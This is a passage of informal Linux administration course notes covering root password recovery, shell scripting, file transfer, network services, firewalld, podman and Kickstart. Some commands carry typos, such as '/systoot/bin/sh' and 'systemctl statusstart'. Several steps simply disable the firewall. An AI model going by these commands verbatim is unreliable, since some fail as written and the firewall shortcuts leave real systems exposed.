- script (the script command stores terminal activites in a log file that can be named by a user, when a name is not provided by a user, the default file name, typescript is used)
### Recover Root Password
- restart your computer
- edit grub
- change password
- reboot
- look for "ro" at the bottom and replace with:
- rw init=/systoot/bin/sh
- ctrl x
- chroot /sysroot
- passwd root
- exit
- reboot
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/14-Recover+Root+Password.pdf)
### SOS Report
- What is SOS Report?
> - Collect and package diagnostic and support data
- Package name
> - sos-version
- Command
> - `sosreport`
### Environment Variables
- What are environment variables?
> - AN environment variable is a dynamic-named value that can affect the way running processes will behave on a computer. THey are part of the environment in which a process runs
> - In simple words, a set of defined rules and values to build an environment
- To view all environment variables
> - `printenv` or `env`
- To view all environment variables
> - `echo $SHELL`
- To set the environment variables
> - `export TEST=1`
> - `echo $TEST`
- To set environment variable permanently
> - `vi .bashrc`
> - `TEST=123`
> - `export TEST`
- To set global environment variable permanently
> - `vi /etc/profile`` or `/etc/bashrc\`
> - `Test=123`
> - `export TEST`
### Special Permissions
- All permissions on a file or directory are referred as bits
- There are additional permissions in Linux:
> - **setuid**: bit tells Linux to run a program with the effective user id of the owner instead of the executor (eg `passwd` command) -\> /etc/shadow
> - **setgid**: bit tells LInux to run a program with the effective group id of the owner instead of the executor (eg `locate` or `wall` command). Please note that this bit is present for only files which have executable permissions
> - **sticky bit**: a bit set on files/directories that allows only the owner or root to delete those files
- To assign special permissions at the user level:
> - `chmod u+s xyz.sh`
- To assign special permissions at the group level
> - `chmod g+s xyz.sh`
- To remove special permissions at the user or group level
> - `chmod u-s xyz.sh`
> - `chmod g-s xyz.sh`
- To find all executables in Linux with setuid and setgid permissions
> - `find / -perm /6000 -type f`
- Sticky Bit - it is assigned to the last bit of permissions
> - -rwx rwx rwt
- Please note that these bits work on c programming executables not on bash shell scripts
## Module 6 - Shell Scripting
### Linux Kernal
- What is a Kernel?
> - interface between hardware and software
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/1-Linux+Kernel.pdf)
### Introduction to Shell
- What is a Shell?
> - it's like a container
> - Interface between users and Kernel/OS
> - CLI is a Shell
- FInd your Shell
> - echo \$0
> - Available Shells "cat /etc/shells"
> - Your Shell? /etc/passwd
- Windows GUI is a shell
- Linux KDE GUI is a shell
- Linux sh, bash etc. is a shell
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/2-What+is+a+Shell.pdf)
### Types of Shells
- Gnome
- KDE
- sh
- bash
- csh and tcsh
- ksh
### Shell Scripting
- What is a Shell Script?
> - A shell script is an executable file containing multiple shell commands that are executed sequentially. THe file can contain:
>
> > - Shell (#!/bin/bash)
> > - Comments (# comments)
> > - Commands (echo, cp, grep, etc.)
> > - Statements (if, while, for, etc.)
- Shell script should have executable permissions (eg. -rwx r-x r-x)
- Shell script has to be called from absolute path (eg. /home/userdir/script.bash)
- If called from current location then ./script.bash
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/3-Unix+Shell+Scripting.pdf)
### Basic Shell Scripts
- Output to screen using "echo"
- Creating tasks
> - Telling your id, current location, your files/directories, system info
> - Creating directories and files
> - Output to a file "\>"
- FIlters/Text processors through scripts (cut, awk, grep, sort, uniq, wc)
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/4-Basic+Shell+Scripts.pdf)
### Input/Output
- Create script to take input from the user
> - read
> - echo
### if-then Scripts
- If then statement
> - If this happens = do this
> - Otherwise = do that
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/7-if-then+Scripts.pdf)
### For Loop Scripts
- For loops
> - Keep running until specified number variable
> - Variable = blue, red, green (then run the script 3 times for each color)
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/5-for+loop+Scripts.pdf)
### do-while Scripts
- do while
> - the while statement continually executes a block of statements while a particular condition is true or met
> - eg. run a script untl 2pm
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/6-do-while+Scripts.pdf)
### Case Statement Scripts
- case
> - If option a is selected = do this
> - If option b is selected = do this
> - etc.
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/8-case+Scripts.pdf)
### Check Remote Servers Connectivity
``` bash
#!/bin/bash
ping -c1 192.168.1.1
if [ $? -eq 0 ]
then
echo OK
else
echo NOT OK
fi
###Change the IP to 192.168.1.235
###Don't show the output
ping -c1 192.168.1.1 &> /dev/null
if [ $? -eq 0 ]
then
echo OK
else
echo NOT OK
fi
###Define variable
#!/bin/bash
hosts="192.168.1.1"
ping -c1 $hosts &> /dev/null
if [ $? -eq 0 ]
then
echo $hosts OK
else
echo $hosts NOT OK
fi
###Change the IP to 192.168.1.235
###Multiple IPs
#!/bin/bash
IPLIST="path_to_the_Ip_list_file"
for ip in $(cat $IPLIST)
do
ping -c1 $ip &> /dev/null
if [ $? -eq 0 ]
then
echo $ip ping passed
else
echo $ip ping failed
fi
done
```
### Aliases
- Aliases is a very popular command that is used to cut down on lengthy and repetitive commands
> - `alias ls="ls -al"`
> - `alias pl="pwd; ls"`
> - `alias tell="whoami; hostname; pwd"`
> - `alias dir="ls -l \| grep ^d"`
> - `alias lmar="ls -l \| grep Mar"`
> - `alias wpa="chmod a+w"`
> - `alias d="df -h \| awk '{print $6}' \| cut -c1-4"`
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module6/9-Aliases.pdf)
### Creating User or Global Aliases
- User = Applies only to a specific user profile
- Global = Applies to everyone who has account on the system
- User = /home/user/.bashrc
- Global = /etc/bashrc
### Shell History
- command `history`
- The file where history of your shell commands saved = /home/yourname/.bash_history
## Module 7 - Networking, Services and System Updates
[Storage Administration Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/15-Red-Hat-Enterprise-Linux-7-Storage-Administration-Guide-en-US.pdf)
[Yum Cheat Sheet](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/yum+command+cheatsheet.pdf)
### Internet Access to VM
- Open Virtualbox Manager
- Select the machine you cannot get internet on in the left pane
- Click the Settings button in the top menu
- Click Network in the left pane in the settings window
- Switched to Bridged Adaptor in the Attached to drop-down menu \* Hit OK to save your changes
- Start your VM
### Network Components
- IP
- Subnet mask
- Gateway
- Static vs. DHCP
- Interface
- Interface MAC.
### Network Files and Commands
- Interface Detection
- Assigning an IP address
- Interface configuration files
> - /etc/nsswitch.conf
> - /etc/hostname
> - /etc/sysconfig/network
> - /etc/sysconfig/network-scripts/ifcfg-nic
> - /etc/resolv.conf
- Network Commands
> - `ping`
> - `ifconfig`
> - `ifup` or `ifdown`
> - `netstat`
> - `tcpdump`
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/1-Networking.pdf)
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/2-Network+Related+Utilities.pdf)
### NIC Information
NIC = Network Interface Card
Example: `ethtool enp0s3`
Other NICs
- lo = The loopback device is a special interface that your computer uses to communicate with itself. It is used mainly for diagnostics and troubleshooting, and to connect to servers running on the local machine
- virb0 = The virbr0, or "Virtual Bridge 0" interface is used for NAT (Network Address Translation). Virtual environments sometimes use it to connect to the outside network
### NIC Bonding
- NIC(Network Interface Card) bonding is also known as Network bonding. It can be defined as the aggregation or combination of multiple NIC into a single bond interface.
- Its main purpose is to provide high availability and redundancy
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/6-Creating+NIC+Bonding.pdf)
### NIC Bonding Procedure
- modprobe bonding
- modinfo bonding
- Create /etc/sysconfig/network-scripts/ifcfg-bond0
- Edit /etc/sysconfig/network-scripts/ethernet1
- Edit /etc/sysconfig/network-scripts/ethernet2
- Restart network = systemctl restart network
### Net Network Utilities
- Getting started with NetworkManager
- Network configuration methods
> - nmtui
> - nmcli
> - nm-connection-editor
> - GNOME Settings.
- Getting started with NetworkManager
> - NetworkManager is a service that provides set of tools designed specifically to make it easier to manage the networking configuration on Linux systems and is the default network management service on RHEL 8
> - It makes network management easier
> - It provides easy setup of connection to the user
> - NetworkManager offers management through different tools such as GUI, nmtui, and nmcli.
- Network configuration methods
> - nmcli - Short for network manager command line interface. This tool is useful when access to a graphical environment is not available and can also be used within scripts to make network configuration changes
> - nmtui - Short for network manager text user interface. This tool can be run within any terminal window and allows changes to be made by making menu selections and entering data
> - nm-connection-editor - A full graphical management tool providing access to most of the NetworkManager configuration options. It can only be accessed through the desktop or console
> - GNOME Settings - The network screen of the GNOME desktop settings application allows basic network management tasks to be performed
### System Updates and Repos
- yum (CentOS), apt-get (other Linux)
- rpm (Redhat Package Manager)
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/7-Linux_yum_command_cheatsheet.pdf)
### Advanced Package Management
- Installing packages
- Upgrading
- Deleting
- View package details information
- Identify source or location information
- Packages configuration files
### Download Files or Apps
- Linux = wget
- Example in Linux:
> - wget
- Why??? Most of the servers in corporate environment do NOT have internet access
### curl and ping Commands
- Linux = curl
- Linux = ping
- Example in Linux:
> - curl
> - curl -O
> - ping www.google.com
### FTP - File Transfer Protocol
- The File Transfer Protocol is a standard network protocol used for the transfer of computer files between a client and server on a computer network. FTP is built on a client-server model architecture using separate control and data connections between the client and the server. (Wikipedia)
- Protocol = Set of rules used by computers to communicate
- Default FTP Port = 21
- Install and Configure FTP on the remote server
``` bash
# Become root
#rpm–qa|grepftp
# ping www.google.com
# yum install vsftpd
# vi /etc/vsftpd/vsftpd.conf (make a copy first)
## Find the following lines and make the changes as shown below:
## Disable anonymous login ##
anonymous_enable=NO
## Uncomment ##
ascii_upload_enable=YES
ascii_download_enable=YES
## Uncomment - Enter your Welcome message - This is optional ##
ftpd_banner=Welcome to UNIXMEN FTP service.
##Addattheendofthis file##
use_localtime=YES
# systemctl start vsftpd
# systemctl enable vsftpd
# systemctl stop firewalld
# systemctl disable firewalld
# useradd caleb (if the user does not exist).
```
- Install FTP client on the client server
``` bash
# Become root
# yum install ftp
# su – caleb
touch caleb
```
- Commands to transfer file to the FTP server:
``` bash
ftp 192.168.1.x
Enter username and password
bi
hash
put caleb
bye.
```
### SCP - Secure Copy Protocol
- The Secure Copy Protocol or “SCP” helps to transfer computer files securely from a local to a remote host. It is somewhat similar to the File Transfer Protocol “FTP”, but it adds security and authentication
- Protocol = Set of rules used by computers to communicate
- Default SCP Port = 22 (same as SSH)
- SCP commands to transfer file to the remote server:
- Login as yourself (caleb)
- touch jack
- scp jack :/home/caleb \* Enter username and password
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/16-SCP+examples.pdf)
### rsync - Remote Synchronization
- rsync is a utility for efficiently transferring and synchronizing files within the same computer or to a remote computer by comparing the modification times and sizes of files
- rsync is a lot faster than ftp or scp
- This utility is mostly used to backup the files and directories from one server to another
- Default rsync Port = 22 (same as SSH)
- Basic syntax of rsync command
> - \# rsync options source destination
- Install rsync in your Linux machine (check if it already exists)
> - \# yum install rsync (On CentOS/Redhat based systems)
> - \# apt-get install rsync (On Ubuntu/Debian based systems)
- rsync a file on a local machine
> - \$ tar cvf backup.tar . (tar the entire home directory (/home/caleb)
> - \$ mkdir /tmp/backups
> - \$ rsync -zvh backup.tar /tmp/backups/
- rsync a directory on a local machine
> - \$ rsync -azvh /home/caleb /tmp/backups/
- rsync a file to a remote machine
> - \$ mkdir /tmp/backups (create /tmp/backups dir on remote server)
> - \$ rsync -avz backup.tar :/tmp/backups
- rsync a file from a remote machine
> - \$ touch serverfile
> - \$ rsync -avzh :/home/caleb/serverfile /tmp/backups
### System Upgrade/Patch Management
- Two type of upgrades
> - Major version = 5,6,7
> - Minor version = 7.3, 7.4
- example: `yum update -y`
### Create Local Repository
- Command: `createrepo`
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/12-Create+local+repository-old.pdf)
[more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/13-Creating+Local+Yum+Repo.pdf)
### SSH and Telnet
- Telnet = Un-secured connection between computers
- SSH = Secured
- Two type of packages for most of the services
> - Client package
> - Server package
### SSH Without a Password
- SSH is a secure way to login from host A to host B
- Repetitive tasks require login without a password
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/14-SSH+without+a+Password.pdf)
### DNS - Domain Name System
- Purpose?
> - Hostname to IP (A Record)
> - IP to Hostname (PTR Record)
> - Hostname to Hostname (CNAME Record)
- Files
> - /etc/named.conf
> - /var/named
- Service
> - systemctl restart named
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/3-DNS.pdf)
### Download, Install and Configure DNS
- Create a snapshot of your virtual machine
- Setup:
> - Master DNS
> - Secondary or Slave DNS
> - Client
- Domain Name = lab.local
- IP address = My local IP address on enp0s3
- Install DNS package
> - yum install bind bind-utils –y
- ConfigureDNS(Summary)
> - Modify /etc/named.conf
> - Create two zone files (forward.lab and reverse.lab)
> - Modify DNS file permissions and start the service
- Revert back to snapshot
### Hostname/IP Lookup
- Commands used for DNS lookup
> - `nslookup`
> - `dig`
### NTP
- Purpose? Time synchronization
- File = /etc/ntp.conf
- Service = systemctl restart ntpd
- Command = `ntpq`
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/4-NTP.pdf)
### chronyd
- Purpose? = Time synchronization
- Package name = chronyd
- Configuration file = /etc/chronyd.conf
- Log file = /var/log/chrony
- Service = systemctl start/restart chronyd
- Program command = chronyd.
### New System Utility Command (timedatectl)
- The timedatectl command is a new utility for RHEL/CentOS 7/8 based distributions, which comes as a part of the systemd system and service manager
- It is a replacement for old traditional date command
- Thetimedatectl command shows/change date, time, and timezone
- It synchronizes the time with NTP server as well
> - You can either use chronyd or ntpd and make the ntp setting in timedatectl as yes
> - Or you can use systemd-timesyncd daemon to synchronize time which is a replacement for ntpd and chronyd
- Please note:
> - Redhat/CentOS does not provide this daemon in its standard repo. You will have to download it separately.
- To check time status
> - timedatectl
- To view all available time zones
> - timedatectl list-timezones
- To set the time zone
> - timedatectl set-timezone “America/New_York“
- To set date
> - timedatectl set-time YYYY-MM-DD
- To set date and time
> - timedatectl set-time '2015-11-20 16:14:50'
- To start automatic time synchronization with a remote NTP server
> - timedatectl set-ntp true.
### Sendmail
- Purpose? Send and receive emails
- Files
> - /etc/mail/sendmail.mc
> - /etc/mail/sendmail.cf
> - /etc/mail
- Service
> - systemctl restart sendmail
- Command
> - mail –s “subject line”
- Sendmail is a program in Linux operating systems that allows systems administrator to send email from the Linux system
- It uses SMTP (Simple Mail Transfer Protocol)
- SMTP port = 25
- It attempts to deliver the mail to the intended recipient immediately and, if the recipient is not present, it queues messages for later delivery.
- Sendmail installation and configuration
> - \# su – (Login as root)
> - \# rpm –qa \| grep sendmail (verify if it is already installed) \* \# yum install sendmail sendmail-cf
> - \# vi /etc/mail/sendmail.mc
> - \# systemctl start sendmail
> - \# systemctl enable sendmail
> - \# systemctl stop firewalld
> - \# systemctl disable firewalld
### Web Server
- Purpose= Serve web pages
- Service or Package name = httpd
- Files
> - /etc/httpd/conf
> - /httpd.conf
> - /var/www/html/index.html
- Service
> - systemctl restart httpd
> - systemctl enable httpd
- Log Files = /var/log/httpd/
### Central Logger (rsyslog)
- Purpose = Generate logs or collect logs from other servers
- Service or package name = rsyslog
- Configuration file = /etc/syslog.conf
- Service
> - systemctl restart rsyslog
> - systemctl enable rsyslog
### Network File System
- Purpose = Share files or directories (filesystem)
- Service or package name = nfs-utils
- Configuration file
> - /etc/fstab
> - /etc/exports
> - /etc/sysconfig/nfs
- Service
> - systemctl restart nfs-server
> - systemctl enable nfs-server
### Linux OS Hardening
- User Account
- Remove un-wanted packages
- Stop un-used Services
- Check on Listening Ports
- Secure SSH Configuration
- Enable Firewall (iptables/firewalld)
- Enable SELinux
- Change Listening Services Port Numbers
- Keep your OS up to date (security patching)
[Security Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/8-RHEL-7-Security_Guide-en-US.pdf)
[SELinux Users and Administrators Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/9-RHEL-7-SELinux_Users_and_Administrators_Guide-en-US.pdf)
[Networking Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/10-Red_Hat_Enterprise_Linux-7-Networking_Guide-en-US.pdf)
[OS Hardening](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/11-OS+Hardening.pdf)
### OpenLDAP Installation
- What is OpenLDAP?
- OpenLDAP Service
> - slapd
- Start or stop the service
> - systemctl start slapd
> - systemctl enable slapd
- Configuration Files
> - /etc/openldap/slapd.d
### Trace Network Traffic (traceroute)
- The traceroute command is used in Linux to map the journey that a packet of information undertakes from its source to its destination. One use for traceroute is to locate when data loss occurs throughout a network, which could signify a node that's down.
- Because each hop in the record reflects a new server or router between the originating PC and the intended target, reviewing the results of a traceroute scan also lets you identify slow points that may adversely affect your network traffic.
- Example
> - \# traceroute www.google.com
### SSH Keys
- Two reasons to access a remote machine
> - Repetitive logins
> - Automation through scripts
- Keys are generated at user level
- Step 1 — Generate the Key
> - \# ssh-keygen
- Step 2 — Copy the Key to the server
> - \# ssh-copy-id
- Step 3 — Login from client to server \# ssh
> - \# ssh –l root 192.168.1.x
### Cockpit
- Cockpit is a server administration tool sponsored by Red Hat, focused on providing a modern-looking and user-friendly interface to manage and administer servers
- Cockpit is the easy-to-use, integrated, glanceable, and open web-based interface for your servers
- The application is available in most of the Linux distributions such as, CentOS, Redhat, Ubuntu and Fedora
- It is installed in Redhat 8 by default and it is optional in version 7
- It can monitor system resources, add or remove accounts, monitor system usage, shut down the system and perform quite a few other tasks all through a very accessible web connection
- Check for network connectivity
- ping www.google.com
- Install cockpit package as root
- yum/dnf install cockpit –y (For RH or CentOS)
- apt-get install cockpit (For Ubuntu)
- Start and enable the service
> - systemctl start\|enable cockpit
- Check the status of the service
> - systemctl status cockpit
- Access the web-interface
> -
[Managing systems using the RHEL 8 web console](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/Red_Hat_Enterprise_Linux-8-Managing_systems_using_the_RHEL_8_web_console-en-US.pdf)
### Firewall
- What is Firewall
> - A wall that prevents the spread of fire
> - When data moves in and out of a server its packet information is tested against the firewall rules to see if it should be allowed or not
> - In simple words, a firewall is like a watchman, a bouncer, or a shield that has a set of rules given and based on that rule they decide who can enter and leave
> - There are 2 type of firewalls in IT
> - Software = Runs on operating system
> - Hardware = A dedicated appliance with firewall software
- Firewalld works the same way as iptables but of course it has it own commands
> - firewall-cmd
- It has a few pre-defined service rules that are very easy to turn on and off
> - Services such as: NFS, NTP, HTTPD etc.
- Firewalld also has the following:
> - Table
> - Chains
> - Rules
> - Targets
- You can run one or the other
> - iptables or firewalld
- Make sure iptables is stopped, disabled and mask
> - systemctl stop iptables
> - systemctl disable iptables
> - systemctl mask iptables
- Now check if filewalld package is installed
> - rpm –qa \| grep firewalld
- Start firewalld
> - systemctl start/enable firewalld
- Check the rule of firewalld
> - firewall-cmd --list-all
- Get the listing of all services firewalld is aware of:
> - firewall-cmd --get-services
- To make firewalld re-read the configuration added
> - firewall-cmd --reload
- The firewalld has multiple zone, to get a list of all zones
> - firewall-cmd --get-zones
- To get a list of active zones
> - firewall-cmd --get-active-zones
- To get firewall rules for public zone
> - firewall-cmd --zone=public --list-all
> - firewall-cmd --list-all
- All services are pre-defined by firewalld. What if you want to add a 3rd party service
> - /usr/lib/firewalld/services/allservices.xml
> - Simply cp any .xml file and change the service and port number
- To add a service (http)
> - firewall-cmd --add-service=http
- To remove a service
> - firewall-cmd --remove-service=http
- To reload the firewalld configuration
> - firewall-cmd --reload
- To add or remove a service permanently
> - firewall-cmd --add-service=http --permanent
> - firewall-cmd --remove-service=http --permanent
- To add a service that is not pre-defined by firewalld
> - /usr/lib/firewalld/services/allservices.xml
> - Simply cp any .xml file sap.xml and change the service and port number (32)
> - systemctl restart firewalld
> - firewall-cmd --get-services (to verify new service)
> - Firewall-cmd --add-service=sap
- To add a port
> - firewall-cmd --add-port=1110/tcp
- To remove a port
> - firewall-cmd --remove-port=1110/tcp
- To reject incoming traffic from an IP address
> - firewall-cmd --add-rich-rule='rule family="ipv4" source address=“192.168.0.25" reject'
- To block and unblock ICMP incoming traffic
> - firewall-cmd --add-icmp-block-inversion
> - firewall-cmd --remove-icmp-block-inversion
- To block outgoing traffic to a specific website/IP address
> - host -t a www.facebook.com = find IP address
> - firewall-cmd --direct --add-rule ipv4 filter OUTPUT 0 -d 31.13.71.36 -j DROP
### Tune System Performance
Linux system comes fined tunned by default when you install, however there are a few tweaks that can be done based on system performance and application requirements
- Optimize system performance by selecting a tuning profile managed by the tuned daemon
- Prioritize or de-prioritize specific processes with the nice and renice commands
- What is tuned?
> - Tuned pronounced as tune-d
> - Tune is for system tuning and d is for daemon
> - It is systemd service that is used to tune Linux system performance
> - It is installed in CentOS/Redhat version 7 and 8 by default
> - tuned package name is tuned
> - The tuned service comes with pre-defined profiles and settings (List of profile will be discussed in the next page)
> - Based on selected profile the tuned service automictically adjust system to get the best performance. E.g. tuned will adjust networking if you are downloading a large file or it will adjust IO settings if it detects high storage read/write
> - The tuned daemon applies system settings when the service starts or upon selection of a new tuning profile.
- Check if tuned package has been installed
> - rpm –qa \| grep tuned
- Install tuned package if NOT installed already
> - yum install tuned
- Check tuned service status
> - systemctl statusstart tuned
> - systemctl enable tuned (To enable at boot time)
- Command to change setting for tuned daemon
> - tuned-adm
- To check which profile is active
> - tuned-adm active
- To list available profiles
> - tuned-adm list.
- To change to desired profile
- tuned-adm profile profile-name
- Check for tuned recommendation tuned-adm recommend
- Turn off tuned setting daemon tuned-adm off
- Change profile through web console
> - Login to
> - Overview → Configuration → Performance profile
- Another way of keeping your system fine-tuned is by prioritizing processes through nice and renice command
- If a server has 1 CPU then it can execute 1 computation/process at a time as they come in (first come first served) while other processes must wait
- With nice and renice commands we can make the system to give preference to certain processes than others
- This priority can be set at 40 different levels
- The nice level values range from -20 (highest priority) to 19 (lowest priority) and by default, processes inherit their nice level from their parent, which is usually 0.
- To check process priority = top
Nice value is a user-space and priority PR is the process's actual priority that use by Linux kernel. In Linux system priorities are 0 to 139 in which 0 to 99 for real time and 100 to 139 for users
- Process priority can be viewed through ps command as well with the right options \$ ps axo pid,comm,nice,cls --sort=-nice
- To set the process priority
> - nice –n \# process-name
> - e.g. nice –n -15 top
- To change the process priority renice –n \# process-name
> - e.g. renice –n 12 PID.
[notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module7/5-rpm+command.pdf)
### Containers
**What is a Container?**
- The term container and the concept came from the shipping container
- These containers are shipped from city to city and country to country
- No matter which part of the world you go to, you will find these containers with the exact same measurements
- Because around the world all docks, trucks, ships and warehouses are built to easily transport and store them
- Then came the container technology which allowed developers or programmer to test and build applications on any computer just by putting it in a container (bundled in with the software code, libraries and configuration files) and then run on another computer regardless of its architecture
- You can move the application anywhere without moving its OS just like moving the actual physical container anywhere that would fit on any dockyard, truck, ship or warehouse
- An OS can run single or multiple containers at the same time
**What are the Container Software?**
- Docker is the software used to create and manage containers
- Just like any other package, docker can be installed on your Linux system and its service or daemon can be controlled through native Linux service management tool
- Podman is an alternative to docker
- Docker is not supported in RHEL 8
- It is daemon less, open source, Linux-native tool designed to develop, manage, and run containers.
**Getting Familiar with Redhat Container Technology**
Red Hat provides a set of command-line tools that can operate without a container engine, these include:
- podman - for directly managing pods and container images (run, stop, start, ps, attach, etc.)
- buildah - for building, pushing, and signing container images
- skopeo - for copying, inspecting, deleting, and signing images
- runc - for providing container run and build features to podman and buildah
- crun - an optional runtime that can be configured and gives greater flexibility, control, and security for rootless containers.
**Getting Familiar with podman Container Technology**
When you hear about containers then you should know the following terms as well
- images – containers can be created through images and containers can be converted to images
- pods – Group of containers deployed together on the host. In the podman logo there are 3 seals grouped together as a pod.
**Building, Running, and Managing Containers**
- To install podman
> - yum/dnf install podman –y
> - yum install docker –y (For dockers)
- Creating alias to docker
- alias docker=podman Check podman version
> - podman –v
- Getting help
> - podman -–help or man podman
- Check podman environment and registry/repository information
> - podman info (If you are trying to load a container image, then it will look at the local machine and then go through each registry by the order listed)
- To search a specific image in repository.
> - podman search httpd
- To list any previously downloaded podman images
> - podman images
- To download available images
> - podman pull docker.io/library/httpd
> - podman images (Check downloaded image status)
- To list podman running containers
> - podman ps
- To run a downloaded httpd containers
> - podman run -dt -p 8080:80/tcp docker.io/library/httpd (d=detach, t=get the tty shell, p=port)
> - podman ps or Check httpd through web browser
- To view podman logs.
> - podman logs –l
- To stop a running container
> - podman stop con-name (con-name from podman ps command)
> - podman ps (To list running containers)
- To run a multiple containers of httpd by changing the port \#
> - podman run -dt -p 8081:80/tcp docker.io/library/httpd
> - podman run -dt -p 8082:80/tcp docker.io/library/httpd
> - podman ps
- To stop and start a previously running container
> - podman stop\|start con-name
- To create a new container from the downloaded image
> - podman create –-name httpd-con docker.io/library/httpd
- To start the newly created container.
> - podman start httpd-con
Manage containers through systemd
> - First you have to generate a unit file
>
> > - podman generate systemd –-new –-files –-name httpd-con
- Copy it systemd directory
> - cp /root/container-httpd.service /etc/systemd/system
- Enable the service
> - systemctl enable container-httpd-con.service
- Start the service.
> - systemctl start container-httpd-con.service
### Kickstart
- Kickstart is a method to automate the Linux installation without the need for any intervention from the user
- With the help of kickstart you can automate questions that are asked during the installation. e.g.
> - Language and time zone
> - How the drives should be partitioned
> - Which packages should be installed etc.
- To use Kickstart, you must:
> 1. Choose a Kickstart server and create/edit a Kickstart file
> 2. Make the Kickstart file available on a network location
> 3. Make the installation source available
> 4. Make boot media available for client which will be used to begin the installation
> 5. Start the Kickstart installation
- CentOS/Redhat 7
> - Kickstart program can be downloaded which allows you to define parameters through the GUI
>
> > - yum install system-config-kickstart
>
> - Or you can use the installation kickstart file which was created during the first installation (anaconda-ks.cfg)
- CentOS/Redhat 8
> - There is no GUI available to edit the file
- Why changed?
> - Most systems are virtual and templates can be used
> - Automation software are in used such as Anisble.
- Step by step procedure for Kickstart
> 1. Identify the server
>
> 2. Takeasnapshotoftheserver
>
> 3. Installkickstartconfigurator(forversion7)
>
> > - yum install system-config-kickstart
>
> 4. Start the kickstart file configurator and define parameters OR use the /root/anaconda-ks.cfg
>
> > - system-config-kickstart (To start the configurator)
> > - We will use anaconda installation kickstart file andc hange the hostname only
>
> 5. Make sure httpd package is installed, if not then install the package and start the httpd service
>
> > - rpm –qa \| grep http
> > - yum/dnf install httpd
> > - systemctl start httpd
> > - systemctl enable httpd.
>
> 6. Copy kickstart file to httpd directory and change the permissions
>
> > - cp /root/anaconda-ks.cfg /var/www/html
> > - chmod a+r /var/www/html/anaconda-ks.cfg
> > - systemctl stop\|disable firewalld
> > - Check file through browser on another PC
>
> 7. Create a new VM and attach the CentOS iso image
>
> 8. Change the network adapter to Bridged adapter
>
> 9. Hit Esc
>
> 10. boot: linux ks=http://192.168.1.x/anaconda-ks.cfg
>
> > - For NFS → boot: linux inst.ks=nfs:192.168.1.x:/rhel8
>
> 11. Wait and enjoy the automated installation
**Kickstart for clients with static IP**
boot: linux ks=http://server.example.com/ks.cfg ksdevice=eth0 IP:192.168.1.50 netmask=255.255.255.0 gateway=192.168.1.1
- Where:
> - ksdevice = is the network adapter of the client
> - IP = IP you are assigning to the client
> - netmask =Subnetmaskfortheclient
> - gateway = Gateway IP address for the client
### DHCP
- DHCP stands for Dynamic Host Configuration Protocol
- In order to communicate over the network, a computer needs to have an IP address
- DHCP server is responsible to automatically assign IP addresses to servers, laptops, desktops, and other devices on the network
- Step by steps instructions
> - Assign a static IP to the DHCP server
> - vi /etc/sysconfig/network/enp0s3
> - Or simply run nmtui command to use GUI based network tool
- Install dhcp server package
> - yum install dhcp (version 7)
> - dnf install dhcp-server (version 8)
- Edit the configuration file with desired parameters
> - vi /etc/dhcp/dhcp.conf
> - cp /usr/share/doc/dhcp-x.x.x/dhcpd.conf.example /etc/dhcp/dhcpd.conf
- Start dhcpd service
> - systemctl start dhcpd
> - systemctl enable dhcp
- Disable firewalld or allow dhcp port over firewall
> - systemctl stop firewalld
> - OR
> - firewall-cmd --add-service=dhcp –permanent
> - firewall-cmd –reload
- Switch DHCP service from your router/modem to your new DHCP server
- Login to your ISP provided router
- Disable dhcp and enable forwarding to the new dhcp server.
## Module 8 - Disk Management and Run Levels
[Overview of Systemd RHEL7](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/7-Overview-of-systemd-for-RHEL-7.pdf)
[Storage Admin Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/10-Red_Hat_Enterprise_Linux-7-Storage_Administration_Guide-en-US.pdf)
[System Admin Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/11-RedHat_Enterprise_Linux-7-System_Administrators_Guide.pdf)
[RHEL8 Basic System Settings](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module8/15-Red_Hat_Enterprise_Linux-8-Configuring_basic_system_settings-en-US.pdf)
